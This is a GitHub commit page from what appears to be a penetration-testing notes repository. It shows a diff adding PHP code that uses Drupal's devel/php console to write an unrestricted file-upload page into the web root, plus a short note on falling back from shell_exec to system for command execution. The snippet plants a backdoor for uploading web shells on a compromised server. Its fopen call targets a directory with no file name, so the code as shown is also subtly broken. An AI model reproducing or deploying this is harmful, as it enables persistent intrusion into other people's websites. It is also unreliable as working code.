Skip to content

Commit

Permalink
Update php.md
Browse files Browse the repository at this point in the history
  • Loading branch information
jamieparfet authored Nov 1, 2018
1 parent 6268c47 commit e0138ab
Showing 1 changed file with 8 additions and 0 deletions.
8 changes: 8 additions & 0 deletions misc/php.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,13 @@
## PHP

Create a file upload page at drupal.site/devel/php
```
$fp = fopen('/var/www/html/', 'w');
fwrite($fp, '<!DOCTYPE html><html><head><title>Upload</title></head><body><form enctype="multipart/form-data" action="upload.php" method="POST"> <p>Choose file</p> <input type="file" name="uploaded_file"></input><br /><input type="submit" value="Upload"></input> </form></body></html><?PHP if(!empty($_FILES[\'uploaded_file\'])) { $path = "./"; $path = $path . basename( $_FILES[\'uploaded_file\'][\'name\']); if(move_uploaded_file($_FILES[\'uploaded_file\'][\'tmp_name\'], $path)) { echo "The file ". basename( $_FILES[\'uploaded_file\'][\'name\']). " has been uploaded"; } else{ echo "There was an error uploading the file, please try again!"; } }?>');
fclose($fp);
```


### File upload and command execution
If `shell_exec` does not work, try `system`

Expand Down

0 comments on commit e0138ab

Please # to comment.